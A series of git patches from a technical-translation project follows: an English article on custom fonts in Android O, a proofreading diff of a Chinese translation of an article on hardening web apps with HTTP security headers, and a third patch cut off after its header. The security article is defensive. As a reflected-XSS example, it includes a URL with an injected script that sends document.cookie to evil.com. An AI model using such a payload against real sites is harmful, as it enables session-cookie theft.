+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 356ad970e751d3c1bcd861caf63f35d69ba5f0bf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 17 Apr 2017 21:26:45 +0800
Subject: [PATCH 187/638] Create android-o-fonts.md

---
 TODO/android-o-fonts.md | 55 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 55 insertions(+)
 create mode 100644 TODO/android-o-fonts.md

diff --git a/TODO/android-o-fonts.md b/TODO/android-o-fonts.md
new file mode 100644
index 00000000000..71dc41112e7
--- /dev/null
+++ b/TODO/android-o-fonts.md
@@ -0,0 +1,55 @@
+> * 原文地址：[Android O: Fonts – Part 1](https://blog.stylingandroid.com/android-o-fonts/)
+> * 原文作者：[Mark Allison](https://blog.stylingandroid.com/author/admin/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Android O: Fonts – Part 1 #
+
+In March 2017 Google [announced](https://android-developers.googleblog.com/2017/03/first-preview-of-android-o.html) the first release of the Android O developer preview. In this occasional series, we’ll look at some of the new features being introduced in Android O. In this article we’ll look at something very close to my heart: Better font support.
+
+[![](https://i2.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/android-o-logo.png?resize=150%2C150&amp;ssl=1)](https://i2.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/android-o-logo.png?ssl=1)Font support within Android has long been a pain point for many of us. To deviate from the standard system fonts has required the use of third-party libraries (such as Chris Jenkins’ [Calligraphy](https://github.com/chrisjenx/Calligraphy) or Lisa Wray’s [fontbinding](https://github.com/lisawray/fontbinding)), or by having to subclass *TextView* in order to add custom font support. While both Chris & Lisa’s libraries (and any others I may have missed) do an excellent job of enabling the use of custom fonts, it has been a point of frustration that such a fundamental part of UI design and implementation has not been addressed directly within the Android framework itself. All that has changed in the O developer preview, and there are noises coming from Google that it may be rolled out in to a support library as well!
+
+[![](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/rejoice.gif?resize=370%2C280&amp;ssl=1)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/rejoice.gif?ssl=1)
+
+Using custom fonts within our apps is now stupidly easy! The support library implementation may not be quite as seamless as this but, rest assured, that if there are any significant deviations from the native implementation if / when the support library implementation is released, we’ll cover the differences on Styling Android.
+
+Firstly, it is worth pointing out that I am using Android Studio 3.4 Preview 3 – some of the features shown here are not available in earlier versions. All of the fonts that I am using in this example code are part of the [2016 Fonts Refresh](https://fonts.google.com/featured/2016+Fonts+Refresh) collection on [Google Fonts](https://fonts.google.com). Google Fonts is a great resource for open source fonts which can be freely used in apps.
+
+Lets start by adding [Pacifico](https://fonts.google.com/specimen/Pacifico) a script font which has a single style. We’ll look at adding multiple-style fonts shortly, but we’ll start with just about the simplest use-case possible.
+
+The first thing that we need to do is include the font in our APK. I downloaded Pacifica from Google Fonts, and it comes down as a TrueType font inside a zip archive. You’ll need to unzip the archive to obtain `Pacifico-Regular.ttf`. Next we need to add this as a resource in our project as there is a new `font` resource type. First we need to create a new font resource folder (click on the GIF to see it at full resolution):
+
+[![](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-folder.gif?resize=720%2C405&amp;ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-folder.gif?ssl=1)
+
+Next we need to copy our `.ttf` font to this new resource folder:
+
+[![](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/add-font.gif?resize=720%2C405&amp;ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/add-font.gif?ssl=1)
+
+If you actually try and build this it will fail. The reason being that the font that we copied in is named “`Pacifico-Regular.ttf`” and this breaks the naming rules for Android resources which cannot contain dashed or capitals. So we’ll rename this to `pacifico.ttf`.
+
+One nice feature of Android Studio is if you open the font file, it provides a preview of the font:
+
+[![](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-preview.png?resize=720%2C489&amp;ssl=1)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-preview.png?ssl=1)
+
+That’s the font imported in to our project, to use it is simplicity itself:
+
+![Markdown](http://i4.buimg.com/1949/8c7d8fb2c50ff300.png)
+
+Simply specify the name of the font resource we just added in the `android:fontName` attribute. Because it is a resource, we’ll get autocompletion in the IDE, and our layout preview will display the correct font, as well (you may need to refresh / rebuild your project after adding a new font resource for the preview to work correctly):
+
+[![](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-layout.png?resize=720%2C617&amp;ssl=1)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-layout.png?ssl=1)
+
+If we run that then, as we would expect, we see the new font used within the app:
+
+[![](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-app.png?resize=720%2C1280&amp;ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-app.png?ssl=1)
+
+So that’s all fairly easy but those who are familiar with fonts and typography will know that things aren’t always this simple. Whilst Pacifico is a single font represented by a single font file, often we have different variants of the same font each of which has its own individual font file. In the next article in this series we’ll take a dive in to font families.
+
+The source code for this article is available [here](https://github.com/StylingAndroid/Fonts/tree/Part1).
+
+© 2017, [Mark Allison](https://blog.stylingandroid.com). All rights reserved. 
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 6f30f147f00826397d2e4dd24ada798550d063de Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Mon, 17 Apr 2017 22:35:04 +0800
Subject: [PATCH 188/638] proofreading

---
 TODO/secure-web-app-http-headers.md | 72 ++++++++++++++---------------
 1 file changed, 35 insertions(+), 37 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index 7cf3e757680..5311d35ff7a 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -2,19 +2,19 @@
 > * 原文作者：[Hagay Lupesko](https://www.smashingmagazine.com/author/hagaylupesko/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[bambooom](https://github.com/bambooom)
-> * 校对者：
+> * 校对者：[xunge0613](https://github.com/xunge0613)、[lsvih](https://github.com/lsvih)
 
 ## 如何使用 HTTP Headers 来保护你的 Web 应用 ##
 
-Web 应用，无论是简单的小网页还是复杂的单页应用，众所周知都是网络攻击的目标。2016年，大约 40% 的数据泄露源自对 Web 应用的攻击，这是主要的攻击模式。事实上，现在来说，了解网络安全并不是锦上添花， 而是 **Web 开发者的必需任务**，特别对于构建面向消费者的产品的开发人员。
+众所周知，无论是简单的小网页还是复杂的单页应用，Web 应用都是网络攻击的目标。2016年，这种最主要的攻击模式 —— 攻击 web 应用，造成了大约 [40% 的数据泄露](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/)。事实上，现在来说，了解网络安全并不是锦上添花， 而是 **Web 开发者的必需任务**，特别对于构建面向消费者的产品的开发人员。
 
-开发者可以利用 HTTP 响应头来加强 Web 应用程序的安全性，通常只需要添加几行代码即可。本文将介绍 web 开发者如何利用 HTTP Headers 来构建安全的应用。虽然本文的示例代码是 Node.js，但是设置 HTTP 响应头基本在所有主要的服务端语言中都是简单易设置的。
+开发者可以利用 HTTP 响应头来加强 Web 应用程序的安全性，通常只需要添加几行代码即可。本文将介绍 web 开发者如何利用 HTTP Headers 来构建安全的应用。虽然本文的示例代码是 Node.js，但基本所有主流的服务端语言都支持设置 HTTP 响应头，并且都可以简单地对其进行配置。
 
 ### 关于 HTTP Headers ###
 
 技术上来说，HTTP 头只是简单的字段，以明文形式编码，它是 HTTP 请求和响应消息头的一部分。它们旨在使客户端和服务端都能够发送和接受有关要建立的连接、所请求的资源，以及返回的资源本身的元数据。
 
-可以使用 cURL `--head` 选项轻松检查纯文本 HTTP 响应头，例如:
+可以简单地使用 cURL `--head` 来检查纯文本 HTTP 响应头，例如：
 
 ```sh
 $ curl --head https://www.google.com
@@ -29,15 +29,15 @@ Vary: Accept-Encoding
 …
 ```
 
-现在，数百种响应头正在被 web 应用所使用，其中一部分由[互联网工程任务组（IETF）](https://www.ietf.org/)标准化。IETF 是一个开发性组织，今天我们所熟知的许多 web 标准或专利都是由他们推进的。HTTP 头提供了一种灵活可扩展的机制，造就了现今的网络各种丰富多变的用例。
+现在，数百种响应头正在被 web 应用所使用，其中一部分由[互联网工程任务组（IETF）](https://www.ietf.org/)标准化。IETF 是一个开放性组织，今天我们所熟知的许多 web 标准和专利都是由他们推进的。HTTP 头提供了一种灵活可扩展的机制，造就了现今的网络各种丰富多变的用例。
 
 ### 机密资源禁用缓存 ###
 
-缓存是优化客户端-服务端架构性能中有效的技术，广泛利用缓存的 HTTP 并不少见。但是，在缓存的资源是保密的情况下，缓存可能导致漏洞，所以必须避免。假设一个 web 应用对含有敏感信息的网页进行缓存，并且是在一台公用的 PC 上使用，任何人可以通过访问浏览器的缓存看到这个 web 应用上的敏感信息，甚至有时仅仅通过点击浏览器的返回按钮就可以看到。
+缓存是优化客户端-服务端架构性能中有效的技术，HTTP 也不例外，同样广泛利用了缓存技术。但是，在缓存的资源是保密的情况下，缓存可能导致漏洞，所以必须避免。假设一个 web 应用对含有敏感信息的网页进行缓存，并且是在一台公用的 PC 上使用，任何人可以通过访问浏览器的缓存看到这个 web 应用上的敏感信息，甚至有时仅仅通过点击浏览器的返回按钮就可以看到。
 
-IETF [RFC 7234](https://tools.ietf.org/html/rfc7234) 上定义了 HTTP 缓存，指定 HTTP 客户端（浏览器以及网络代理）的默认行为，也就是始终缓存对 HTTP GET 请求的响应，除非另行指定。虽然这样可以使 HTTP 提升性能减少网络拥塞，但如上所述，它也有可能使终端用户个人信息被盗。好消息是，HTTP 规范还定义了一种非常简单的方式来指示客户端对特定响应不进行缓存，通过使用 —— 对，你猜到了 —— HTTP 响应头。
+IETF [RFC 7234](https://tools.ietf.org/html/rfc7234) 中定义了 HTTP 缓存，指定 HTTP 客户端（浏览器以及网络代理）的默认行为：除非另行指定，否则始终缓存对 HTTP GET 请求的响应。虽然这样可以使 HTTP 提升性能减少网络拥塞，但如上所述，它也有可能使终端用户个人信息被盗。好消息是，HTTP 规范还定义了一种非常简单的方式来指示客户端对特定响应不进行缓存，通过使用 —— 对，你猜到了 —— HTTP 响应头。
 
-当你返回敏感信息并希望禁用 HTTP 客户端的缓存时，有三个响应头可以返回：
+当你准备返回敏感信息并希望禁用 HTTP 客户端的缓存时，有三个响应头可以返回：
 
 - `Cache-Control`
 
@@ -45,13 +45,13 @@ IETF [RFC 7234](https://tools.ietf.org/html/rfc7234) 上定义了 HTTP 缓存，
 
 - `Pragma: no-cache`
 
-为了向后兼容 HTTP 1.0，你还需要包含此响应头。有部分客户端，特别是中间代理，可能仍然没有完全支持 HTTP 1.1，所以不能正确处理前面提到的 `Cache-Control` 响应头，所以使用 `Pragma: no-cache` 确保较旧的客户端不缓存你的响应。
+为了向后兼容 HTTP 1.0，你还需要包含此响应头。有部分客户端，特别是中间代理，可能仍然没有完全支持 HTTP 1.1，所以不能正确处理前面提到的 `Cache-Control` 响应头，因此使用 `Pragma: no-cache` 确保较旧的客户端不缓存你的响应。
 
 - `Expires: -1`
 
-此响应头指定了该响应过时的时间戳。如果不指定为未来某个真实时间而指定为 `-1`，可以保证客户端立即将此响应视为过期并避免缓存。
+此响应头指定了该响应过期的时间戳。如果不指定为未来某个真实时间而指定为 `-1`，可以保证客户端立即将此响应视为过期并避免缓存。
 
-需要注意的是，禁用缓存提高安全性及保护机密资源的同时，也的确会带来性能上的折损。所以确保仅对实际需要保密性的资源禁用缓存，而不是对任何服务器的响应禁用。想要更深入了解 web 资源缓存的最佳实践，我推荐阅读 [Jake Archibald 的文章](https://jakearchibald.com/2016/caching-best-practices/)。
+需要注意的是，禁用缓存提高安全性及保护机密资源的同时，也的确会带来性能上的折损。所以确保仅对实际需要保密性的资源禁用缓存，而不是对服务器的任何响应禁用。想要更深入了解 web 资源缓存的最佳实践，我推荐阅读 [Jake Archibald 的文章](https://jakearchibald.com/2016/caching-best-practices/)。
 
 下面是 Node.js 中设置响应头的示例代码：
 
@@ -65,11 +65,11 @@ function requestHandler(req, res) {
 
 ### 强制 HTTPS ###
 
-今天，HTTPS 的重要性已经得到了科技界的广泛认可。越来越多的 web 应用配置了安全端点，并将不安全网路重定向到安全端点（即 HTTP 重定向至 HTTPS）。不幸的是，终端用户还未完全理解 HTTPS 的重要性，这种缺乏理解使他们面临着各种中间人攻击（MitM）。普通用户访问到一个 web 应用时，并不会注意到正在使用的网络协议是安全的（HTTPS）还是不安全的（HTTP）。
+今天，HTTPS 的重要性已经得到了技术界的广泛认可。越来越多的 web 应用配置了安全端点，并将不安全网路重定向到安全端点（即 HTTP 重定向至 HTTPS）。不幸的是，终端用户还未完全理解 HTTPS 的重要性，这种缺乏理解使他们面临着各种中间人攻击（MitM）。普通用户访问到一个 web 应用时，并不会注意到正在使用的网络协议是安全的（HTTPS）还是不安全的（HTTP）。甚至，当浏览器出现了证书错误或警告时，很多用户会直接点击略过警告。
 
-通过有效的 HTTPS 连接与 web 应用进行交互的重要性怎么说都不算夸大：不安全的连接将用户暴露给各种攻击，这可能导致 cookie 被盗甚至更糟。举个例子，攻击者可以轻易在公共 Wi-Fi 网络下骗过网络帧并提取不使用 HTTPS 的用户的会话 cookie。更糟的情况是，即使用户通过安全连接与 web 应用进行交互也可能遭受降级攻击，这种攻击试图强制将连接降级到不安全的连接，从而使用户收到中间人攻击。
+与 web 应用进行交互时，通过有效的 HTTPS 连接是非常重要的：不安全的连接将会使得用户暴露在各种攻击之下，这可能导致 cookie 被盗甚至更糟。举个例子，攻击者可以在公共 Wi-Fi 网络下轻易骗取网络帧并提取那些不使用 HTTPS 的用户的会话 cookie。更糟的情况是，即使用户通过安全连接与 web 应用进行交互也可能遭受降级攻击，这种攻击试图强制将连接降级到不安全的连接，从而使用户受到中间人攻击。
 
-我们如何帮助用户避免这些攻击，并更好地推行 HTTPS 的使用呢？使用 HTTP 严格传输安全头（HSTS）。简单来说，HSTS 确保与源主机间的所有通信都使用 HTTPS。[RFC 6797](https://tools.ietf.org/html/rfc6797) 中说明了，HSTS可以使 web 应用程序指示浏览器仅允许与源主机之间的 HTTPS 连接，将所有不安全的连接内部重定向到安全连接，并自动将所有不安全的资源请求升级为安全请求。
+我们如何帮助用户避免这些攻击，并更好地推行 HTTPS 的使用呢？使用 HTTP 严格传输安全头（HSTS）。简单来说，HSTS 确保与源主机间的所有通信都使用 HTTPS。[RFC 6797](https://tools.ietf.org/html/rfc6797) 中说明了，HSTS 可以使 web 应用程序指示浏览器**仅**允许与源主机之间的 HTTPS 连接，将所有不安全的连接内部重定向到安全连接，并自动将所有不安全的资源请求升级为安全请求。
 
 HSTS 的指令如下：
 
@@ -85,9 +85,9 @@ HSTS 的指令如下：
 
 这是一个强大的指令，强制浏览器**始终**安全加载你的 web 应用程序，即使是第一次收到响应之前加载！这是通过将启用 HSTS 预加载域的列表硬编码到浏览器的代码中实现的。要启用预加载功能，你需要在 Google Chrome 团队维护的网站 [HSTS 预加载列表提交](https://hstspreload.org)注册你的域。
 
-注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并带有几个月前的更新。虽然预加载肯定会加强应用程序的安全性，但也意味着你需要充分确信你的应用程序可以支持仅 HTTPS！
+注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并可能更新延迟数个月。虽然预加载肯定会加强应用程序的安全性，但也意味着你需要充分确信你的应用程序可以支持仅 HTTPS！
 
-我建议的用法是 `Strict-Transport-Security: max-age=31536000; includeSubDomains;`，这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年。如果你对你的 app 处理 HTTPS 限定很有信心，我也推荐加上 `preload` 指令，当然别忘记去前面提到的预加载列表注册你的网站。
+我建议的用法是 `Strict-Transport-Security: max-age=31536000; includeSubDomains;`，这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年。如果你对你的 app 仅处理 HTTPS 很有信心，我也推荐加上 `preload` 指令，当然别忘记去前面提到的预加载列表注册你的网站。
 
 以下是在 Nodes.js 中实现 HSTS 的方法：
 
@@ -129,25 +129,21 @@ function handleRequest(req, res) {
 https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>
 ```
 
-你可能意识到了，这个 URL 会让浏览器执行注入的脚本，并发送用户的 cookies，极有可能包含机密的会话 cookie，至 evil.com。
+你可能意识到了，这个 URL 会让浏览器执行注入的脚本，并发送极有可能包含机密会话的用户 cookies 到 evil.com。
 
 为了保护用户抵抗反射型 XSS 攻击，有些浏览器实施了保护机制。这些保护机制尝试通过在 HTTP 请求和响应中寻找匹配的代码模式来辨识这些攻击。Internet Explorer 是第一个推出这种机制的，在 2008 年的 IE 8 中引入了 XSS 过滤器的机制，而 WebKit 后来推出了 XSS 审计，现今在 Chrome 和 Safari 上可用（Firefox 没有内置类似的机制，但是用户可以使用插件来获得此功能）。这些保护机制并不完美，它们可能无法检测到真正的 XSS 攻击（漏报），在其他情况可能会阻止合法代码（误判）。由于后一种情况的出现，浏览器允许用户可设置禁用 XSS 过滤功能。不幸的是，这通常是一个全局设置，这会完全关闭所有浏览器加载的 web 应用程序的安全功能。
 
-> Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the `X-XSS-Protection` header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.
-
-幸运的是，有方法可以让 web 应用覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。这是通过设定 `X-XSS-Protection` 响应头来达到的。此响应头支持 Internet Explorer （8以上）、Edge、Chrome 和 Safari，指示浏览器打开或关闭内置的保护机制，及覆盖浏览器的本地配置。
+幸运的是，有方法可以让 web 应用覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。即通过设定 `X-XSS-Protection` 响应头实现。此响应头支持 Internet Explorer （8以上）、Edge、Chrome 和 Safari，指示浏览器打开或关闭内置的保护机制，及覆盖浏览器的本地配置。
 
 `X-XSS-Protection` 指令包括:
 
 - `1` 或者 `0`
 
-使用或禁用 CSS 过滤器。
+使用或禁用 XSS 过滤器。
 - `mode=block`
 
 当检测到 XSS 攻击时，这会指示浏览器不渲染整个页面。
 
-> I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:
-
 我建议永远打开 XSS 过滤器以及 block 模式，以求最大化保护用户。这样的响应头应该是这样的：
 
 ```
@@ -157,13 +153,13 @@ X-XSS-Protection: 1; mode=block
 以下是在 Node.js 中配置此响应头的方法:
 
 ```javascript
-functionrequestHandler(req, res){
+function requestHandler(req, res){
 	res.setHeader('X-XSS-Protection','1;mode=block');}
 ```
 
 ### 控制 iframe ###
 
-iframe （正式来说，是 HTML 内联框架元素）是一个 DOM 元素，它允许一个 web 应用嵌套在另一个 web 应用中。这个强大的元素有部分重要的使用场景，比如在 web 应用中嵌入第三方内容，但它也有重大的缺点，例如对 SEO 不友好，对浏览器导航跳转也不友好，还有很多。
+iframe （正式来说，是 HTML 内联框架元素）是一个 DOM 元素，它允许一个 web 应用嵌套在另一个 web 应用中。这个强大的元素有部分重要的使用场景，比如在 web 应用中嵌入第三方内容，但它也有重大的缺点，例如对 SEO 不友好，对浏览器导航跳转也不友好等等。
 
 其中一个需要注意的事是它使得点击劫持变得更加容易。点击劫持是一种诱使用户点击并非他们想要点击的目标的攻击。要理解一个简单的劫持实现，参考以下 HTML，当用户认为他们点击可以获得奖品时，实际上是试图欺骗用户购买面包机。
 
@@ -176,11 +172,11 @@ iframe （正式来说，是 HTML 内联框架元素）是一个 DOM 元素，
 </html>
 ```
 
-点击劫持有许多恶意应用程序，例如欺骗用户确认 Facebook 点赞，在线购买商品，甚至提交机密信息。恶意 web 应用程序可以通过在其恶意应用中嵌入合法的 web 应用来利用 iframe 进行点击劫持，这可以通过设置 `opacity: 0` 的 CSS 规则将其隐藏，并将 iframe 的点击目标直接放置在看起来无辜的按钮之上。点击了这个无辜按钮的用户会直接点击在嵌入的 web 应用上，并不知道点击后的作用。
+有许多恶意应用程序都采用了点击劫持，例如诱导用户点赞，在线购买商品，甚至提交机密信息。恶意 web 应用程序可以通过在其恶意应用中嵌入合法的 web 应用来利用 iframe 进行点击劫持，这可以通过设置 `opacity: 0` 的 CSS 规则将其隐藏，并将 iframe 的点击目标直接放置在看起来无辜的按钮之上。点击了这个无害按钮的用户会直接点击在嵌入的 web 应用上，并不知道点击后的后果。
 
-阻止这种攻击的一种有效的方法是限制你的 web 应用被框架化。`X-Frame-Options`，在 [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt) 中引入，就是设计用来做这件事的。此响应头指示浏览器对你的 web 应用是否可以被嵌入另一个网页进行限制，从而阻止恶意网页欺骗用户调用你的应用程序进行各项操作。你可以使用 `DENY` 完全屏蔽，或者使用 `ALLOW-FROM` 指定将特定域列入白名单，也可以使用 `SAMEORIGIN` 指令将应用的源地址列入白名单。
+阻止这种攻击的一种有效的方法是限制你的 web 应用被框架化。在 [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt) 中引入的 `X-Frame-Options`，就是设计用来做这件事的。此响应头指示浏览器对你的 web 应用是否可以被嵌入另一个网页进行限制，从而阻止恶意网页欺骗用户调用你的应用程序进行各项操作。你可以使用 `DENY` 完全屏蔽，或者使用 `ALLOW-FROM` 指令将特定域列入白名单，也可以使用 `SAMEORIGIN` 指令将应用的源地址列入白名单。
 
-我的建议是使用 `SAMEORIGIN` 指令，因为它允许 iframe 被用于同一域上的可以保证安全性的应用程序，这有时是有用的。以下是响应头的示例：
+我的建议是使用 `SAMEORIGIN` 指令，因为它允许 iframe 被同域的应用程序所使用，这有时是有用的。以下是响应头的示例：
 
 ```
 X-Frame-Options: SAMEORIGIN
@@ -189,7 +185,7 @@ X-Frame-Options: SAMEORIGIN
 以下是在 Node.js 中设置此响应头的示例代码：
 
 ```javascript
-functionrequestHandler(req, res){
+function requestHandler(req, res){
 	res.setHeader('X-Frame-Options','SAMEORIGIN');}
 ```
 
@@ -197,31 +193,31 @@ functionrequestHandler(req, res){
 
 如前所述，你可以通过启用浏览器的 XSS 过滤器，给你的 web 应用程序增强安全性。然而请注意，这种机制是有局限性的，不是所有浏览器都支持（例如 Firefox 就不支持 XSS 过滤），并且依赖的模式匹配技术可以被欺骗。
 
-对抗 XSS 和其他攻击的更多一层的保护，可以通过明确列出可信来源和操作来实现 —— 这就是内容安全策略（CSP）。
+对抗 XSS 和其他攻击的另一层的保护，可以通过明确列出可信来源和操作来实现 —— 这就是内容安全策略（CSP）。
 
-CSP 是一种 W3C 规范，它定义了强大的基于浏览器的安全机制，可以对 web 应用中的资源加载以及脚本执行进行精细的控制。使用 CSP 可以将特定的域加入白名单进行例如脚本加载、AJAX 调用、图像加载和样式加载。你可以启用或禁用内联脚本或动态脚本（臭名昭著的 `eval`），并通过将特定域列入白名单来控制框架化。CSP 的另一个很酷的功能是它允许配置实时报告目标，以便实时监控应用程序进行 CSP 阻止操作。
+CSP 是一种 W3C 规范，它定义了强大的基于浏览器的安全机制，可以对 web 应用中的资源加载以及脚本执行进行精细的控制。使用 CSP 可以将特定的域加入白名单进行脚本加载、AJAX 调用、图像加载和样式加载等操作。你可以启用或禁用内联脚本或动态脚本（臭名昭著的 `eval`），并通过将特定域列入白名单来控制框架化。CSP 的另一个很酷的功能是它允许配置实时报告目标，以便实时监控应用程序进行 CSP 阻止操作。
 
 这种对资源加载和脚本执行的明确的白名单提供了很强的安全性，在很多情况下都可以防范攻击。例如，使用 CSP 禁止内联脚本，你可以防范很多反射型 XSS 攻击，因为它们依赖于将内联脚本注入到 DOM。
 
 CSP 是一个相对复杂的响应头，它有很多种指令，在这里我不详细展开了，可以参考 HTML5 Rocks 里一篇很棒的[教程](https://www.html5rocks.com/en/tutorials/security/content-security-policy/)，其中提供了 CSP 的概述，我非常推荐阅读它来学习如何在你的 web 应用中使用 CSP。
 
-以下是一个设置 CSP 的示例代码，它仅允许从应用程序的源域加载脚本，并组织动态脚本的执行（eval）以及内嵌脚本（当然，还是 Node.js):
+以下是一个设置 CSP 的示例代码，它仅允许从应用程序的源域加载脚本，并阻止动态脚本的执行（eval）以及内嵌脚本（当然，还是 Node.js):
 
 ```javascript
-functionrequestHandler(req, res){
+function requestHandler(req, res){
 	res.setHeader('Content-Security-Policy',"script-src 'self'");}
 ```
 
 ### 防止 Content-Type 嗅探 ###
 
-为了使用户体验尽可能无缝，许多浏览器实现了一个功能叫内容类型嗅探，或者 MIME 嗅探。这个功能使得浏览器可以通过「嗅探」实际 HTTP 响应的资源的内容直接检测到资源的类型，无论在响应头中 `Content-Type` 是如何指定资源类型的。虽然这个功能在某些情况下确实是有用的，它引入了一个漏洞以及一种叫 MIME 混乱攻击的攻击手法。MIME 嗅探漏洞使攻击者可以注入恶意资源，例如恶意脚本，伪装成一个无辜的资源，例如一个图片。通过 MIME 嗅探，浏览器将忽略声明的图像内容类型，它不会渲染图片，而是执行恶意脚本。
+为了使用户体验尽可能无缝，许多浏览器实现了一个功能叫内容类型嗅探，或者 MIME 嗅探。这个功能使得浏览器可以通过「嗅探」实际 HTTP 响应的资源的内容直接检测到资源的类型，无视响应头中 `Content-Type` 指定的资源类型。虽然这个功能在某些情况下确实是有用的，它引入了一个漏洞以及一种叫 MIME 类型混淆攻击的攻击手法。MIME 嗅探漏洞使攻击者可以注入恶意资源，例如恶意脚本，伪装成一个无害的资源，例如一张图片。通过 MIME 嗅探，浏览器将忽略声明的图像内容类型，它不会渲染图片，而是执行恶意脚本。
 
 幸运的是，`X-Content-Type-Options` 响应头缓解了这个漏洞。此响应头在 2008 年引入 IE8，目前大多数主流浏览器都支持（Safari 是唯一不支持的主流浏览器），它指示浏览器在处理获取的资源时不使用嗅探。因为 `X-Content-Type-Options` 仅在 [「Fetch」规范](https://fetch.spec.whatwg.org/#x-content-type-options-header)中正式指定，实际的实现因浏览器而异。一部分浏览器（IE 和 Edge）完全阻止了 MIME 嗅探，而其他一些（Firefox）仍然会进行 MIME 嗅探，但会屏蔽掉可执行的资源（JavaScript 和 CSS）如果声明的内容类型与实际的类型不一致。后者符合最新的 Fetch 规范。
 
 `X-Content-Type-Options` 是一个很简单的响应头，它只有一个指令，`nosniff`。它是这样指定的：`X-Content-Type-Options: nosniff`。以下是示例代码：
 
 ```javascript
-functionrequestHandler(req, res){
+function requestHandler(req, res){
 	res.setHeader('X-Content-Type-Options','nosniff');}
 ```
 
@@ -235,14 +231,16 @@ functionrequestHandler(req, res){
 - 通过 `Strict-Transport-Security` 强制使用 HTTPS，并将你的域添加到 Chrome 预加载列表
 - 利用 `X-XSS-Protection` 使你的 web 应用更加能抵抗 XSS 攻击
 - 使用 `X-Frame-Options` 阻止点击劫持
-- 利用 `Content-Security-Policy` 将特定来源于端点列入白名单
+- 利用 `Content-Security-Policy` 将特定来源与端点列入白名单
 - 使用 `X-Content-Type-Options` 防止 MIME 嗅探攻击
 
 请记住，为了使 web 真正迷人，它必须是安全的。利用 HTTP 响应头构建更加安全的网页吧！
 
 
 
-(**声明:** 此文内容仅属本人，不代表本人过去或现在的雇主。)
+（**声明：** 此文内容仅属本人，不代表本人过去或现在的雇主。）
+
+（首页图片版权：[Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/)）
 
 ---
 

From ae3e13d882eb36233da4bcedd7ff9eba72ec6c12 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 17 Apr 2017 22:45:12 +0800
Subject: [PATCH 189/638] Create testing-views-in-isolation-with-espresso.md

---
 ...esting-views-in-isolation-with-espresso.md | 170 ++++++++++++++++++
 1 file changed, 170 insertions(+)
 create mode 100644 TODO/testing-views-in-isolation-with-espresso.md

diff --git a/TODO/testing-views-in-isolation-with-espresso.md b/TODO/testing-views-in-isolation-with-espresso.md
new file mode 100644
index 00000000000..c746cbfcf68
--- /dev/null
+++ b/TODO/testing-views-in-isolation-with-espresso.md
@@ -0,0 +1,170 @@
+> * 原文地址：[Testing Views in Isolation with Espresso](https://www.novoda.com/blog/testing-views-in-isolation-with-espresso/)
+> * 原文作者：[Ataul Munim](https://www.novoda.com/blog/author/ataulm/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
